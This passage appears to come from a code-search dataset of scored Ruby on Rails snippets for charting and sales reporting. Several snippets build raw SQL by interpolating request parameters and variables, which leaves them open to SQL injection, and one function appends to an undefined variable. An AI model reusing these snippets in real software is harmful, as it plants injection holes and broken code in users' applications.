0xeeeeee, 0x000000, 1)\n c.setRoundedFrame()\n\n # Set the plotarea at (60, 60) and of size 520 x 200 pixels. Set background color\n # to white (ffffff) and border and grid colors to grey (cccccc)\n c.setPlotArea(60, 60, 520, 200, 0xffffff, -1, 0xcccccc, 0xccccccc)\n\n # Add a title to the chart using 15pts Times Bold Italic font, with a light blue\n # (ccccff) background and with glass lighting effects.\n c.addTitle(sprintf(\"Global Revenue for Year %s\", selectedYear), \"timesbi.ttf\", 15\n ).setBackground(0xccccff, 0x000000, ChartDirector::glassEffect())\n\n # Add a legend box at (70, 32) (top of the plotarea) with 9pts Arial Bold font\n c.addLegend(70, 32, false, \"arialbd.ttf\", 9).setBackground(\n ChartDirector::Transparent)\n\n # Add a line chart layer using the supplied data\n layer = c.addLineLayer2()\n layer.addDataSet(software, 0xff0000, \"Software\").setDataSymbol(\n ChartDirector::CircleShape, 9)\n layer.addDataSet(hardware, 0x00ff00, \"Hardware\").setDataSymbol(\n ChartDirector::DiamondShape, 11)\n layer.addDataSet(services, 0xffaa00, \"Services\").setDataSymbol(\n ChartDirector::Cross2Shape(), 11)\n\n # Set the line width to 3 pixels\n layer.setLineWidth(3)\n\n # Set the x axis labels. In this example, the labels must be Jan - Dec.\n labels = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sept\", \"Oct\",\n \"Nov\", \"Dec\"]\n c.xAxis().setLabels(labels)\n\n # Set the y axis title\n c.yAxis().setTitle(\"USD (Millions)\")\n\n # Set axes width to 2 pixels\n c.xAxis().setWidth(2)\n c.yAxis().setWidth(2)\n\n # output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "title": "" }, { "docid": "044ce8fc4f96bcf750d173c263ff6fd8", "score": "0.5820009", "text": "def prepare_get_value_sales_evaluations(header,year,month, account, type)\n first_saldo = {}\n first_saldo = \n TrialBalance.find(:first,:conditions => [\"MONTH(transaction_date) = #{month} AND YEAR(transaction_date) = #{year} and account_id = ?\",account.id]\n ) \n result = 0\n aje = []\n result = first_saldo.nil? ? 0 : first_saldo.last_saldo #get_first_saldo(account,year,month)\n aje = get_summary_aje(account, year,month)\n if account.account_type == \"debet\"\n result = result - aje[1] + aje[0]\n else\n result = result - aje[0] + aje[1]\n end \n aje = []\n result\n end", "title": "" }, { "docid": "8418005b134eb5f4730cd2928fbfcac9", "score": "0.5806279", "text": "def day_line_graph(array)\n start = array.map{|a| a[1].map{|coord| coord[0]}.min}.min\n finish = array.map{|a| a[1].map{|coord| coord[0]}.max}.max\n # First, get the full range of days covered by the graph\n range = dayrange(start, finish)\n # Then, create arrays of the form [day, value1, value2] \n series = []\n range.each do |day|\n d = [day]\n array.each do |a|\n y = a[1].select{|coord| coord[0].to_date == day.to_date}[0]\n if y.nil?\n d << 0\n else\n d << y[1]\n end \n end\n series << d\n end\n name = array.map{|a| a[0]} * \"_\"\n output = \"<script type=\\\"text/javascript\\\" src=\\\"http://www.google.com/jsapi\\\"></script>\n <script type=\\\"text/javascript\\\">\n google.load('visualization', '1', {packages: ['corechart']});\n </script>\n <script type=\\\"text/javascript\\\">\n function drawVisualization() {\n // Create and populate the data table.\n var data = new google.visualization.DataTable();\n data.addColumn('string', 'Date');\"\n # Add the names of each value.\n array.each do |a|\n output << \"data.addColumn('number', '\" + a[0] + \"');\\n\"\n end\n # Add the coordinates\n series.each do |coord|\n output << \"data.addRow(['\" + coord[0].strftime(\"%D\") + \"',\" + coord.drop(1) * \",\" + \"]);\\n\"\n end\n output <<\n \" // Create and draw the visualization.\n new google.visualization.LineChart(document.getElementById('\" + name + \"')).\n draw(data, {curveType: \\\"none\\\",\n width: 700, height: 500,\n vAxis: {maxValue: 1}}\n );\n }\n\n google.setOnLoadCallback(drawVisualization);\n </script>\n <div id=\\\"\" + name + \"\\\" style=\\\"width: 700px; height: 500px;\\\"></div>\"\n\n output.html_safe\nend", "title": "" }, { "docid": "99c79fb5c945530ff79028bbab71655d", "score": "0.5805519", "text": "def custom_prod(results)\n # Check for empty results set\n if !(results.present?)\n return\n end\n\n # Get years for the x-axis labels\n year = results[0][\"year\"]\n years = [year]\n results.each do |row|\n years |= [row[\"year\"]]\n end\n x_axis = years.reverse.collect{|i| i.to_s}\n\n # Get product labels\n products = []\n results.each do |row|\n # Uniquely appends each product type\n products |= [row[\"product\"]]\n end\n\n # Get empty array with enough room for each unique year\n year_set = []\n for x in x_axis do\n year_set << 0\n end\n\n datasets = []\n for i in products do\n ind = 0\n data = []\n data += year_set\n results.each do |row|\n if row[\"product\"] == i\n while (ind < years.size-1 && row[\"year\"] != years[ind])\n data[ind] = 0\n ind += 1\n end\n if row[\"year\"] == years[ind]\n # Convert to float to prevent \"BigDecimal\" values\n # BigDecimals aren't accepted by Chart.js\n data[ind] = row[\"monthly_average\"].to_f\n end\n ind += 1\n end\n end\n datasets << data.reverse\n end\n \n # At this point, datasets is two-dimensional array\n # Each internal array includes the data for each product\n # [[1, 2, 3,...], [1, 2, 3,...]] \n # First array is Product A, years 1, 2, 3,...; second array is Product B, etc.\n\n # Generate the data blocks\n datablocks = [];\n products_index = 0;\n for i in datasets do\n block = {}\n block[\"data\"] = i\n block[\"label\"] = products[products_index]\n block[\"borderColor\"] = get_color(products_index)\n block[\"fill\"] = false\n block[\"x_axis\"] = x_axis\n datablocks << block\n products_index += 1\n end\n return datablocks\n end", "title": "" }, { "docid": "3cd7c16811e3b6a8dc41dc67ef68c51f", "score": "0.5793069", "text": "def monthly_sales\n sql = <<-EOF\n select shp.created_at, count(*), sum(o.total)\n from store_shipments shp\n join store_orders o on o.id = shp.order_id\n where shp.created_at > '#{@start_date}' and shp.created_at < '#{@end_date}'\n and o.sales_channel LIKE '#{@selected_channel}'\n #{\"and shp.fulfilled_by_id=\" + params[:affiliate_id] if params[:affiliate_id].present?}\n group by year(shp.created_at), month(shp.created_at)\n order by date(shp.created_at) desc;\n EOF\n\n @data = []\n ActiveRecord::Base.connection.execute(sql).each { |row| @data << row }\n end", "title": "" }, { "docid": "f7e37f9e0226310b4d89c1b3ae8c4db3", "score": "0.5741426", "text": "def individual_survey_result_over_time\n survey_attempt_dates\n\n# date_labels(survey_attempt_dates).each do |date|\n# trend_data << generate_trend_row(date, trend_data[0], survey_attempt_dates)\n# end \n end", "title": "" }, { "docid": "e280bd602f4f9da8079c21b40cfd3b74", "score": "0.57370734", "text": "def monthlyGraphs(array_monthly,type)\n\n if type == \"distance\"\n\n @chart = LazyHighCharts::HighChart.new('graph') do |f|\n f.title(:text => \"Monthly Distance Traveled\")\n f.xAxis(:categories => [\"0\", \"1\", \"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\",\"20\",\"21\",\"22\",\"23\",\"24\",\"25\",\"26\",\"27\",\"28\",\"29\",\"30\"])\n f.series(:name => \"Looking at Phone\", :yAxis => 0, :data => build__monthly_array_values(array_monthly,\"lookingAtPhone\",\"distanceTraveled\"))\n f.series(:name => \"Walking\", :yAxis => 0, :data => build__monthly_array_values(array_monthly,\"walking\",\"distanceTraveled\"))\n f.series(:name => \"Cycling\", :yAxis => 0, :data => build__monthly_array_values(array_monthly,\"cycling\",\"distanceTraveled\"))\n f.series(:name => \"Standing\", :yAxis => 0, :data => build__monthly_array_values(array_monthly,\"standing\",\"distanceTraveled\"))\n f.series(:name => \"Running\", :yAxis => 0, :data => build__monthly_array_values(array_monthly,\"running\",\"distanceTraveled\"))\n\n f.yAxis [\n {:title => {:text => \"Meters Traveled\", :margin => 70} },\n ]\n\n f.legend(:align => 'right', :verticalAlign => 'top', :y => 75, :x => -50, :layout => 'vertical',)\n f.chart({:defaultSeriesType=>\"line\"})\n end\n elsif type == \"energy\"\n\n @chart = LazyHighCharts::HighChart.new('graph') do |f|\n f.title(:text => \"Monthly Energy Expanded\")\n f.xAxis(:categories => [\"0\", \"1\", \"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\",\"20\",\"21\",\"22\",\"23\",\"24\",\"25\",\"26\",\"27\",\"28\",\"29\",\"30\"])\n f.series(:name => \"Looking at Phone\", :yAxis => 0, :data => build__monthly_array_values(array_monthly,\"lookingAtPhone\",\"energy\"))\n f.series(:name => \"Walking\", :yAxis => 0, :data => build__monthly_array_values(array_monthly,\"walking\",\"energy\"))\n f.series(:name => \"Cycling\", :yAxis => 0, :data => build__monthly_array_values(array_monthly,\"cycling\",\"energy\"))\n f.series(:name => \"Standing\", :yAxis => 0, :data => build__monthly_array_values(array_monthly,\"standing\",\"energy\"))\n f.series(:name => \"Running\", :yAxis => 0, :data => build__monthly_array_values(array_monthly,\"running\",\"energy\"))\n f.series(:name => \"Sitting\", :yAxis => 0, :data => build__monthly_array_values(array_monthly,\"sitting\",\"energy\"))\n f.series(:name => \"Tilting\", :yAxis => 0, :data => build__monthly_array_values(array_monthly,\"tilting\",\"energy\"))\n f.series(:name => \"Not using phone\", :yAxis => 0, :data => build__monthly_array_values(array_monthly,\"notUsingPhone\",\"energy\"))\n f.series(:name => \"Laying\", :yAxis => 0, :data => build__monthly_array_values(array_monthly,\"laying\",\"energy\"))\n\n f.yAxis [\n {:title => {:text => \"Kcal burned\", :margin => 70} },\n ]\n\n f.legend(:align => 'right', :verticalAlign => 'top', :y => 75, :x => -50, :layout => 'vertical',)\n f.chart({:defaultSeriesType=>\"line\"})\n end\n elsif type == \"steps\"\n\n @chart = LazyHighCharts::HighChart.new('graph') do |f|\n f.title(:text => \"Monthly Steps\")\n f.xAxis(:categories => [\"0\", \"1\", \"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\",\"20\",\"21\",\"22\",\"23\",\"24\",\"25\",\"26\",\"27\",\"28\",\"29\",\"30\"])\n f.series(:name => \"Looking at Phone\", :yAxis => 0, :data => build__monthly_array_values(array_monthly,\"lookingAtPhone\",\"steps\"))\n f.series(:name => \"Walking\", :yAxis => 0, :data => build__monthly_array_values(array_monthly,\"walking\",\"steps\"))\n f.series(:name => \"Cycling\", :yAxis => 0, :data => build__monthly_array_values(array_monthly,\"cycling\",\"steps\"))\n f.series(:name => \"Standing\", :yAxis => 0, :data => build__monthly_array_values(array_monthly,\"standing\",\"steps\"))\n f.series(:name => \"Running\", :yAxis => 0, :data => build__monthly_array_values(array_monthly,\"running\",\"steps\"))\n\n f.yAxis [\n {:title => {:text => \"Number of steps\", :margin => 70} },\n ]\n\n f.legend(:align => 'right', :verticalAlign => 'top', :y => 75, :x => -50, :layout => 'vertical',)\n f.chart({:defaultSeriesType=>\"line\"})\n end\n\n end\n end", "title": "" }, { "docid": "4fe1f5b4866d74ead59d82793edd1c8d", "score": "0.5734118", "text": "def series_data_array(data, params = {})\n if data.blank?\n return []\n end\n\n params ||= {}\n filter_param = params[:filter_param]\n report_query = params[:report_query]\n if filter_param.present?\n x_col = filter_param.date_column\n y_col = filter_param.column\n name_col = nil\n radius_col = nil\n elsif report_query.present?\n x_col = report_query.x_column\n y_col = report_query.y_column\n name_col = report_query.name_column\n radius_col = report_query.radius_column\n else\n raise ':filter_param or :report_query required'\n end\n\n columns = data.result_set.column_names_array\n# raise 'columns must not be blank' if columns.blank?\n logger.error '[ERROR] columns must not be blank' if columns.blank?\n\n # construct the series data for highcharts\n result_set = data.result_set\n if radius_col.present? && x_col.present? && y_col.present?\n series_data = result_set.results_array.collect { |row|\n {\n :x => self.class.check_and_convert_to_utc_ms(x_col, result_set.value_at(row, x_col)),\n :y => self.class.check_and_convert_to_utc_ms(y_col, result_set.value_at(row, y_col)),\n :marker => {:radius => result_set.value_at(row, radius_col)},\n :name => result_set.value_at(row, name_col)\n }\n }\n elsif x_col.blank? && y_col.present?\n series_data = result_set.results_array.collect { |row|\n self.class.check_and_convert_to_utc_ms(y_col, result_set.value_at(row, y_col))\n }\n elsif x_col.present? && y_col.present?\n series_data = result_set.results_array.collect { |row|\n [\n self.class.check_and_convert_to_utc_ms(x_col, result_set.value_at(row, x_col)),\n self.class.check_and_convert_to_utc_ms(y_col, result_set.value_at(row, y_col))\n ]\n }\n else\n raise \"incorrect series data columns specified: #{x_col}, #{y_col}, #{radius_col}, #{radius_col}\"\n end\n return series_data\n end", "title": "" }, { "docid": "f584eee7d2206a829178dad9eae2770f", "score": "0.5722804", "text": "def index\n @products = Product.all\n @reports = DailyReport.all\n @total_sales = DailyReport.where(updated_at: Time.zone.now.beginning_of_month..Time.zone.now.end_of_month).sum(:total_sales) + @products.where(updated_at: Time.zone.now.beginning_of_month..Time.zone.now.end_of_month).sum(:total_sales)\n @day_sales = @products.sum(:total_sales)\n @day_margins = @products.sum(:total_margin)\n end", "title": "" }, { "docid": "eacaa1cc1e7f9e8bcc0ee08368375805", "score": "0.57098544", "text": "def capm_regress\n \n start_date = Date.strptime(\"#{self.start_date}\", '%Y-%m-%d')\n end_date = Date.strptime(\"#{self.end_date}\", '%Y-%m-%d')\n tick = self.ticker\n dex = self.index\n \n \n errors = []\n prices = []\n # index_prices = []\n graph_data = []\n\n days = start_date.business_dates_until(end_date)\n\n days.each do |day|\n sd = day - 30.days\n ed = day\n \n stocks = Stock.where{(date >= sd) & (date <= ed) & (ticker == tick)}.order(date: :asc).pluck(:price).to_vector\n \n indicies = Stock.where{(date >= sd) & (date <= ed) & (ticker == dex)}.order(date: :asc).pluck(:price).to_vector\n \n regression = Statsample::Regression::Simple.new_from_vectors(stocks, indicies)\n \n price = Stock.where{(date == day) & (ticker == tick) }.pluck(:price)\n \n # index_price = Stock.where{(date == day) & (ticker == dex) }.pluck(:price)\n \n errors << [day, regression.standard_error]\n prices << [day, price[0]]\n #index_prices << [day, index_price[0]]\n \n end\n\n graph_data << { name: \"errors\", data: errors }\n graph_data << { name: \"prices\", data: prices }\n #graph_data << { name: \"index\", data: index_prices }\n \n graph_data\n\n end", "title": "" }, { "docid": "d959671741ffb2fc22e5c0d0c0ac60e8", "score": "0.56950647", "text": "def getchart()\n # Data points which more unevenly spaced in time\n data0Y = [62, 69, 53, 58, 84, 76, 49, 61, 64, 77, 79]\n data0X = [Time.mktime(2007, 1, 1), Time.mktime(2007, 1, 2), Time.mktime(2007, 1, 5\n ), Time.mktime(2007, 1, 7), Time.mktime(2007, 1, 10), Time.mktime(2007, 1, 14\n ), Time.mktime(2007, 1, 17), Time.mktime(2007, 1, 18), Time.mktime(2007, 1, 19\n ), Time.mktime(2007, 1, 20), Time.mktime(2007, 1, 21)]\n\n # Data points which are evenly spaced in a certain time range\n data1Y = [36, 25, 28, 38, 20, 30, 27, 35, 65, 60, 40, 73, 62, 90, 75, 72]\n data1Start = Time.mktime(2007, 1, 1)\n data1End = Time.mktime(2007, 1, 16)\n\n # Data points which are evenly spaced in another time range, in which the spacing\n # is different from the above series\n data2Y = [25, 15, 30, 23, 32, 55, 45]\n data2Start = Time.mktime(2007, 1, 9)\n data2End = Time.mktime(2007, 1, 21)\n\n # Create a XYChart object of size 600 x 400 pixels. Use a vertical gradient color\n # from light blue (99ccff) to white (ffffff) spanning the top 100 pixels as\n # background. Set border to grey (888888). Use rounded corners. Enable soft drop\n # shadow.\n c = ChartDirector::XYChart.new(600, 400)\n c.setBackground(c.linearGradientColor(0, 0, 0, 100, 0x99ccff, 0xffffff), 0x888888)\n c.setRoundedFrame()\n c.setDropShadow()\n\n # Add a title using 18 pts Times New Roman Bold Italic font. #Set top margin to 16\n # pixels.\n c.addTitle(\"Product Line Order Backlog\", \"timesbi.ttf\", 18).setMargin2(0, 0, 16, 0\n )\n\n # Set the plotarea at (60, 80) and of 510 x 275 pixels in size. Use transparent\n # border and dark grey (444444) dotted grid lines\n plotArea = c.setPlotArea(60, 80, 510, 275, -1, -1, ChartDirector::Transparent,\n c.dashLineColor(0x444444, 0x000101), -1)\n\n # Add a legend box where the top-center is anchored to the horizontal center of\n # the plot area at y = 45. Use horizontal layout and 10 points Arial Bold font,\n # and transparent background and border.\n legendBox = c.addLegend(plotArea.getLeftX() + plotArea.getWidth() / 2, 45, false,\n \"arialbd.ttf\", 10)\n legendBox.setAlignment(ChartDirector::TopCenter)\n legendBox.setBackground(ChartDirector::Transparent, ChartDirector::Transparent)\n\n # Set x-axis tick density to 75 pixels and y-axis tick density to 30 pixels.\n # ChartDirector auto-scaling will use this as the guidelines when putting ticks on\n # the x-axis and y-axis.\n c.yAxis().setTickDensity(30)\n c.xAxis().setTickDensity(75)\n\n # Set all axes to transparent\n c.xAxis().setColors(ChartDirector::Transparent)\n c.yAxis().setColors(ChartDirector::Transparent)\n\n # Set the x-axis margins to 15 pixels, so that the horizontal grid lines can\n # extend beyond the leftmost and rightmost vertical grid lines\n c.xAxis().setMargin(15, 15)\n\n # Set axis label style to 8pts Arial Bold\n c.xAxis().setLabelStyle(\"arialbd.ttf\", 8)\n c.yAxis().setLabelStyle(\"arialbd.ttf\", 8)\n c.yAxis2().setLabelStyle(\"arialbd.ttf\", 8)\n\n # Add axis title using 10pts Arial Bold Italic font\n c.yAxis().setTitle(\"Backlog in USD millions\", \"arialbi.ttf\", 10)\n\n # Add the first data series\n layer0 = c.addLineLayer2()\n layer0.addDataSet(data0Y, 0xff0000, \"Quantum Computer\").setDataSymbol(\n ChartDirector::GlassSphere2Shape, 11)\n layer0.setXData(data0X)\n layer0.setLineWidth(3)\n\n # Add the second data series\n layer1 = c.addLineLayer2()\n layer1.addDataSet(data1Y, 0x00ff00, \"Atom Synthesizer\").setDataSymbol(\n ChartDirector::GlassSphere2Shape, 11)\n layer1.setXData2(data1Start, data1End)\n layer1.setLineWidth(3)\n\n # Add the third data series\n layer2 = c.addLineLayer2()\n layer2.addDataSet(data2Y, 0xff6600, \"Proton Cannon\").setDataSymbol(\n ChartDirector::GlassSphere2Shape, 11)\n layer2.setXData2(data2Start, data2End)\n layer2.setLineWidth(3)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "title": "" }, { "docid": "145dc2b14d8248ef5d5c7b42795cc124", "score": "0.5661149", "text": "def get_sales_statistics(from, to, category_id=nil)\n category_id = nil if category_id == 0\n \n if category_id\n category_query = \"AND category_id = #{ category_id }\"\n else\n category_query = \"\"\n end\n \n order_item_quantities_by_category = OrderItem.connection.execute(\"SELECT category_id, item_id, sku, SUM(quantity), SUM(total_cents) FROM order_items WHERE vendor_id = #{ self.id } AND hidden IS NULL AND completed_at BETWEEN '#{ from.strftime(\"%Y-%m-%d %H:%M:%S\") }' AND '#{ to.strftime(\"%Y-%m-%d %H:%M:%S\") }' #{ category_query } GROUP BY category_id, item_id\").to_a\n reports = {\n :order_item_quantities_by_category => order_item_quantities_by_category,\n }\n return reports\n end", "title": "" }, { "docid": "da10e304aea6cd0415bec0a14a27bbd0", "score": "0.56553227", "text": "def doctorwise_product_sales\n end", "title": "" }, { "docid": "9693177e29e9a4cb9dad937d309c9b61", "score": "0.5641274", "text": "def graph\n @data_table = GoogleVisualr::DataTable.new\n @data_table.new_column('number', 'Month' )\n\n # Sets the x axis to the values 1-48\n @data_table.add_rows(48) \n 48.times do |t|\n @data_table.set_cell( t , 0, t)\n end\n\n # Graph method used for both affiliate and lead (seller), if :affiliate is present then creates array of students for a give affiliate\n aff_students = []\n if params[:affiliate] != nil\n lead_sales = LeadSale.where(:affiliate_id => params[:affiliate]).all\n lead_sales.each do |sale|\n aff_students << sale.student\n end\n end \n\n # TODO: Consider meta array holding arrays for each of a demographic's values, with sorting then transpose and addition based on value. \n # TODO: Set this to accept more than just Psycho-demographic.\n # Method sorts through and for each of the FIVE demographics, averages enrollment and sets the datatable. \n 5.times do |t|\n # Table setup and initiliziation of the arregate enrollment array for the demographic\n @data_table.new_column('number', \"Psycho-demographic #{t+1}\")\n lead_total = Array.new(48, 0)\n\n # If used for a lead (affiliate is empty), uses all of the leads from students table with a give demographic value. \n if params[:affiliate] == nil\n students = Student.find_all_by_psycho_demographic(t+1)\n else \n # If used for an affiliate, creates an array of students that belong to the demographic currently being set\n students = []\n aff_students.each do |student|\n if student.psycho_demographic == t+1\n students << student\n end\n end\n end\n\n # Transposes and adds each of the corresponding values of each of the students with a given demographic value. \n students.each do |student|\n lead_total = [student.enroll_a, lead_total].transpose.map {|x|(x.reduce(:+).to_f)}\n end\n lead_total.map!{|item| item /students.length.to_f}\n\n # Sets the cell based on the demographic itteration number (t) to the value corresponding to the row (1-48)\n lead_total.length.times do |row|\n @data_table.set_cell( row , t+1 , lead_total[row])\n end \n end\n \n\n opts = { width: 1000, height: 500, title: 'Enrollment by Phycho-demographic', hAxis: {title: 'Month', titleTextStyle: {color: '#FF0000'}} }\n @chart = GoogleVisualr::Interactive::AreaChart.new(@data_table, opts)\n end\n \n # TODO: This chart is off by one column, review. \n # Controller function for the effectiveness of a given seller's individual pages. \n def page\n # Data table set-up. Assumes using standard A/B testing, but set to expand. Assumes all versions have same page numbers, gains page number variable from the first student from a seller's list. \n number_pages = Student.all.first.page_a.length\n @data_table = GoogleVisualr::DataTable.new\n @data_table.new_column('number', 'Page Number')\n @data_table.new_column('number', 'Version A')\n @data_table.new_column('number', 'Version B')\n\n # Table set-up for x axis. Sets axis to 1-number_pages\n @data_table.add_rows(number_pages)\n number_pages.times do |n|\n @data_table.set_cell(n, 0, n+1)\n end \n\n # Array containing two arrays, one for each version, A & B. This allows for non standard more version testing to occur later on. Simply add another column and add another array to the versions[].\n versions = []\n versions << Student.find_all_by_page_ver('B')\n versions << Student.find_all_by_page_ver('A')\n\n # Sets the data table, one version at a time. \n versions.length.times do |version_num| \n version = versions[version_num]\n\n # Creates array that will act as the summation of completion to be the average for each version then transposes and adds.\n pages_total = Array.new(number_pages, 0) \n version.each do |student|\n pages_total = [student.page_a, pages_total].transpose.map {|x|(x.reduce(:+).to_f)}\n end\n # Divides by the number of leads that completed the given verion to gain an average (because 1 = completed & 0 = uncompleted)\n pages_total.map!{|item| item /version.length.to_f}\n # Sets the cells so t is the page number, and pages_total[t] is the average completion. The column is the one greater than the iteration because column 0 is x axis. \n pages_total.length.times do |t|\n @data_table.set_cell(t, version_num+1, pages_total[t])\n end\n end\n\n opts = { width: 1000, height: 500, title: 'Total Page Completion', hAxis: {title: 'Page Number', titleTextStyle: {color: '#FF0000'}} }\n @chart = GoogleVisualr::Interactive::ColumnChart.new(@data_table, opts)\n end\nend", "title": "" }, { "docid": "3659677277ee56a60a2afdd851ccdcc5", "score": "0.5637707", "text": "def daily_cost(start_date, end_date, time_period_costs)\n return nil unless time_period_costs.is_a? Array\n\n # calculate the day cost value from time_period_costs\n day_cost = 0\n time_period_costs.each do |cost_item|\n case cost_item[:time_period]\n when 'daily'\n day_cost += cost_item[:cost]\n when 'weekly'\n day_cost += cost_item[:cost] / 7\n when 'monthly'\n days_of_month = Date.new(end_date.year, end_date.month, -1).day\n day_cost += cost_item[:cost] / days_of_month\n else\n return nil\n end\n end\n\n return nil unless day_cost.positive?\n\n # make daily cost array per each day from start date to end date\n cost_array = []\n (start_date..end_date).each do |date|\n cost_array.push(\n date: date,\n cost: day_cost\n )\n end\n\n return nil unless cost_array.length.positive?\n\n cost_array\nend", "title": "" }, { "docid": "11635c56bc8ebb4ee8657b430e742e0b", "score": "0.56159914", "text": "def getchart()\n # Create a finance chart demo containing 100 days of data\n noOfDays = 100\n\n # To compute moving averages starting from the first day, we need to get extra\n # data points before the first day\n extraDays = 30\n\n # In this exammple, we use a random number generator utility to simulate the data.\n # We set up the random table to create 6 cols x (noOfDays + extraDays) rows, using\n # 9 as the seed.\n rantable = ChartDirector::RanTable.new(9, 6, noOfDays + extraDays)\n\n # Set the 1st col to be the timeStamp, starting from Sep 4, 2002, with each row\n # representing one day, and counting week days only (jump over Sat and Sun)\n rantable.setDateCol(0, Time.mktime(2002, 9, 4), 86400, true)\n\n # Set the 2nd, 3rd, 4th and 5th columns to be high, low, open and close data. The\n # open value starts from 100, and the daily change is random from -5 to 5.\n rantable.setHLOCCols(1, 100, -5, 5)\n\n # Set the 6th column as the vol data from 5 to 25 million\n rantable.setCol(5, 50000000, 250000000)\n\n # Now we read the data from the table into arrays\n timeStamps = rantable.getCol(0)\n highData = rantable.getCol(1)\n lowData = rantable.getCol(2)\n openData = rantable.getCol(3)\n closeData = rantable.getCol(4)\n volData = rantable.getCol(5)\n\n # Create a FinanceChart object of width 640 pixels\n c = ChartDirector::FinanceChart.new(640)\n\n # Add a title to the chart\n c.addTitle(\"Finance Chart Demonstration\")\n\n # Set the data into the finance chart object\n c.setData(timeStamps, highData, lowData, openData, closeData, volData, extraDays)\n\n # Add a slow stochastic chart (75 pixels high) with %K = 14 and %D = 3\n c.addSlowStochastic(75, 14, 3, 0x006060, 0x606000)\n\n # Add the main chart with 240 pixels in height\n c.addMainChart(240)\n\n # Add a 10 period simple moving average to the main chart, using brown color\n c.addSimpleMovingAvg(10, 0x663300)\n\n # Add a 20 period simple moving average to the main chart, using purple color\n c.addSimpleMovingAvg(20, 0x9900ff)\n\n # Add an HLOC symbols to the main chart, using green/red for up/down days\n c.addCandleStick(0x00ff00, 0xff0000)\n\n # Add 20 days donchian channel to the main chart, using light blue (9999ff) as the\n # border and semi-transparent blue (c06666ff) as the fill color\n c.addDonchianChannel(20, 0x9999ff, 0xc06666ff)\n\n # Add a 75 pixels volume bars sub-chart to the bottom of the main chart, using\n # green/red/grey for up/down/flat days\n c.addVolBars(75, 0x99ff99, 0xff9999, 0x808080)\n\n # Append a MACD(26, 12) indicator chart (75 pixels high) after the main chart,\n # using 9 days for computing divergence.\n c.addMACD(75, 26, 12, 9, 0x0000ff, 0xff00ff, 0x008000)\n\n # Output the chart\n send_data(c.makeChart2(ChartDirector::PNG), :type => \"image/png\",\n :disposition => \"inline\")\n end", "title": "" }, { "docid": "34e396460c12ed70c2cf2c9a1a17dfbc", "score": "0.5613364", "text": "def graph_for_transaction_comparison\n\n start_date = (params[:start_date]).to_date\n end_date = (params[:end_date]).to_date\n employees = Employee.find(:all)\n\n hr = Configuration.find_by_config_value(\"HR\")\n donations_total = FinanceTransaction.donations_triggers(start_date,end_date)\n fees = FinanceTransaction.total_fees(start_date,end_date)\n income = FinanceTransaction.total_other_trans(start_date,end_date)[0]\n expense = FinanceTransaction.total_other_trans(start_date,end_date)[1]\n # other_transactions = FinanceTransaction.find(:all,\n # :conditions => [\"transaction_date >= '#{start_date}' and transaction_date <= '#{end_date}'and category_id !='#{3}' and category_id !='#{2}'and category_id !='#{1}'\"])\n\n\n x_labels = []\n data1 = []\n data2 = []\n \n largest_value =0\n\n unless hr.nil?\n salary = Employee.total_employees_salary(employees,start_date,end_date)\n end\n unless salary <= 0\n x_labels << \"#{t('salary')}\"\n data << salary-(salary*2)\n largest_value = salary if largest_value < salary\n end\n unless donations_total <= 0\n x_labels << \"#{t('donations')}\"\n data << donations_total\n largest_value = donations_total if largest_value < donations_total\n end\n\n unless fees <= 0\n x_labels << \"#{t('fees_text')}\"\n data << fees\n largest_value = fees if largest_value < fees\n end\n\n unless income <= 0\n x_labels << \"#{t('other_income')}\"\n data << income\n largest_value = income if largest_value < income\n end\n \n unless expense <= 0\n x_labels << \"#{t('other_expense')}\"\n data << expense\n largest_value = expense if largest_value < expense\n end\n \n # other_transactions.each do |trans|\n # x_labels << trans.title\n # if trans.category.is_income? and trans.master_transaction_id == 0\n # data << trans.amount\n # else\n # data << (\"-\"+trans.amount.to_s).to_i\n # end\n # largest_value = trans.amount if largest_value < trans.amount\n # end\n\n largest_value += 500\n\n bargraph = BarFilled.new()\n bargraph.width = 1;\n bargraph.colour = '#bb0000';\n bargraph.dot_size = 3;\n bargraph.text = \"#{t('amount')}\"\n bargraph.values = data\n\n x_axis = XAxis.new\n x_axis.labels = x_labels\n\n y_axis = YAxis.new\n y_axis.set_range(largest_value-(largest_value*2),largest_value,largest_value/5)\n\n title = Title.new(\"#{t('finance_transactions')}\")\n\n x_legend = XLegend.new(\"#{t('examination_name')}\")\n x_legend.set_style('{font-size: 14px; color: #778877}')\n\n y_legend = YLegend.new(\"#{t('marks')}\")\n y_legend.set_style('{font-size: 14px; color: #770077}')\n\n chart = OpenFlashChart.new\n chart.set_title(title)\n chart.set_x_legend = x_legend\n chart.set_y_legend = y_legend\n chart.y_axis = y_axis\n chart.x_axis = x_axis\n\n chart.add_element(bargraph)\n\n\n render :text => chart.render\n \n \n end", "title": "" }, { "docid": "781020f23371a2a4773c2af5c751f886", "score": "0.5610776", "text": "def get_daily_results\n \n puts \"Method invoked by: \" + (params[:callid].nil? ? \"nil\" : params[:callid])\n results = LottoResultUtil.get_daily_results_by_range(params[:from], params[:to])\n \n render json: try_save_lotto_results(results)\n end", "title": "" }, { "docid": "db15e0aa7016c2d291e992400d109bab", "score": "0.55943996", "text": "def index\n @coffee_sales = CoffeeSale.all\n\n # Sales\n @sales_last_twelve_months = CoffeeSale.find_by_sql(\"\n SELECT \n EXTRACT(month from date) as mes, sum(price) as ventas\n FROM\n coffee_sales\n WHERE \n date BETWEEN '2020-04-01' and '#{Time.now}' \n GROUP BY \n mes\n ORDER BY \n mes\n \")\n \n @sales_quantity_last_twelve_months = CoffeeSale.find_by_sql(\"\n SELECT \n EXTRACT(month from date) as mes, count(date) as ventas\n FROM\n coffee_sales\n WHERE \n date BETWEEN '2020-04-01' and '#{Time.now}'\n GROUP BY \n mes\n ORDER BY \n mes\n \")\n\n @sales_quantity_last_twelve_months = CoffeeSale.find_by_sql(\"\n SELECT \n EXTRACT(month from date) 